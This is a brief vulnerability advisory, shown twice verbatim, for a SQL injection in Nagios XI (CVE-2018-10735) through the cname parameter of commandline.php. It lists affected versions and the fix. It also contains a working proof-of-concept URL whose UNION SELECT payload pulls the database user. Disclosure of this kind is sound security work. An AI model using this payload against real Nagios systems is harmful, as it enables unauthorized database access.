### NagiosXI <= 5.4.12 commandline.php SQL injection(CVE-2018-10735) #### Description A SQL injection issue was discovered in Nagios XI via the admin/commandline.php cname parameter. #### Affected Version * Nagios XI 5.2.x * Nagios XI 5.4.x before 5.4.13 #### Proof of concept ```http http://xxx/nagiosql/admin/commandline.php?cname='%20union%20select%20concat(0x7e7e7e,user(),0x7e7e7e)%23 ```  #### Fix Upgrade to version 5.4.13
### NagiosXI <= 5.4.12 commandline.php SQL injection(CVE-2018-10735) #### Description A SQL injection issue was discovered in Nagios XI via the admin/commandline.php cname parameter. #### Affected Version * Nagios XI 5.2.x * Nagios XI 5.4.x before 5.4.13 #### Proof of concept ```http http://xxx/nagiosql/admin/commandline.php?cname='%20union%20select%20concat(0x7e7e7e,user(),0x7e7e7e)%23 ```  #### Fix Upgrade to version 5.4.13